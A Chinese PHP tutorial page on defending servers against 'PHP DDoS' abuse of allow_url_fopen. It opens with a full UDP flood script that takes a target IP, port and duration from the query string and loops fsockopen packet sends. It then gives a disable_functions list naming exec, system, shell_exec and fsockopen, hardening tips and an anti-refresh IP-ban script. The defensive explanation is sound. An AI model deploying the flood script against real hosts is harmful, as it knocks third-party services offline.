php专区

 首页 > php专区 > PHP应用 > 常用功能 > PHP DDos的几个防御方法详解 - php高级应用

PHP DDos的几个防御方法详解 - php高级应用

分享到:
【字体:
导读:
          PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法.......

PHP DDos的几个防御方法详解

PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法.

我们先来看php ddos代码,代码如下:

  1. $packets = 0;  
  2. $ip = $_GET['ip'];  
  3. $rand = $_GET['port'];  
  4. set_time_limit(0);  
  5. ignore_user_abort(FALSE); 
  6. $exec_time = $_GET['time']; 
  7. $time = time();  
  8. print "Flooded: $ip on port $rand 
  9. ";  
  10. $max_time = $time+$exec_time
  11.  
  12. for($i=0;$i<65535;$i++){  
  13. $out .= "X";  
  14. }  
  15. while(1){  
  16. $packets++;  
  17. if(time() > $max_time){  
  18. break;  
  19. $fp = fsockopen("udp://$ip"$rand$errno$errstr, 5);  
  20. if($fp){  
  21. fwrite($fp$out);  
  22. fclose($fp);  
  23. }  
  24. //开源代码phpfensi.com 
  25. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging "round($packets/$exec_time, 2) . " packets/s n";  
  26. ?> 

细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了.

于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法.

注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作.

1.打开php.ini,2.禁用危险函数

由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数,找到disable_functions,将前面的“;”去掉,在等号后面增加如下代码:

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,proc_get_status,fsocket,fsockopen

3.设置PHP执行超时时间

如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间,找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30

4.禁用上传目录PHP执行权限

大概分为三种服务器:IIS,Apache、Nginx,具体步骤就不写了.

5.一个很暴力的方法

直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4

6.关闭用户中心

比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在.

7.修改管理员目录

这个方法就不细谈了,并不是对所有程序都适合.

8.修改默认管理帐号

很多人都习惯使用:admin 但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名.

9.一个复杂且记得住的密码

不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai.

后再再附一个php防ddos攻击的代码,代码如下:

  1. //查询禁止IP   
  2. $ip =$_SERVER['REMOTE_ADDR'];   
  3. $fileht=".htaccess2";   
  4. if(!file_exists($fileht))file_put_contents($fileht,"");   
  5. $filehtarr=@file($fileht);   
  6. if(in_array($ip."rn",$filehtarr))die("Warning:"."
    "
    ."Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!");  
  7.  
  8. //加入禁止IP   
  9. $time=time();   
  10. $fileforbid="log/forbidchk.dat";   
  11. if(file_exists($fileforbid))   
  12. if($time-filemtime($fileforbid)>60)unlink($fileforbid);   
  13. else{   
  14. $fileforbidarr=@file($fileforbid);   
  15. if($ip==substr($fileforbidarr[0],0,strlen($ip)))   
  16. {   
  17. if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid);  
  18. elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);}   
  19. else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);}   
  20. }   
  21. }   
  22. }   
  23. //防刷新   
  24. $str="";   
  25. $file="log/ipdate.dat";   
  26. if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777);   
  27. if(!file_exists($file))file_put_contents($file,"");   
  28. $allowTime = 120;//防刷新时间   
  29. $allowNum=10;//防刷新次数   
  30. $uri=$_SERVER['REQUEST_URI'];   
  31. $checkip=md5($ip);   
  32. $checkuri=md5($uri);   
  33. $yesno=true;   
  34. $ipdate=@file($file);   
  35. foreach($ipdate as $k=>$v)   
  36. $iptem=substr($v,0,32);   
  37. $uritem=substr($v,32,32);   
  38. $timetem=substr($v,64,10);   
  39. $numtem=substr($v,74);   
  40. if($time-$timetem<$allowTime){   
  41. if($iptem!=$checkip)$str.=$v;   
  42. else{   
  43. $yesno=false;   
  44. if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn";   
  45. elseif($numtem<$allowNum)$str.=$iptem.$uritem.$timetem.($numtem+1)."rn";   
  46. else   
  47. {   
  48. if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);}   
  49. file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND);   
  50. $timepass=$timetem+$allowTime-$time;   
  51. die("Warning:"."
    "
    ."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!");   
  52. }   
  53. }   
  54. }  //开源代码phpfensi.com 
  55. }   
  56. if($yesno$str.=$checkip.$checkuri.$time."1rn";   
  57. file_put_contents($file,$str);   
  58. ?> 
分享到:
php webshell扫描后门木马实例程序 - php...
php webshell扫描后门木马实例程序 本文章来给大家介绍一个php webshell扫描后门木马实例程序,这个可以扫描你网站上的木马程序,这个给大家找网站木马提供了很大的方便. php webshell扫描后门木马实例程序代码如下:
PHP5中哈希创建和验证方法详解 - php高级...
PHP5中哈希创建和验证方法详解 如果你使用php5.5版本的话我们对于哈希创建和验证方法就简单多了,PHP 5.5为我们提供了4个函数:password_get_info(), password_hash(), password_needs_rehash(),和password_verify(),有了它们四我们就可以快速实现哈希创建和验证了. 首先讨论password_hash()函...
  •         php迷,一个php技术的分享社区,专属您自己的技术摘抄本、收藏夹。
  • 在这里……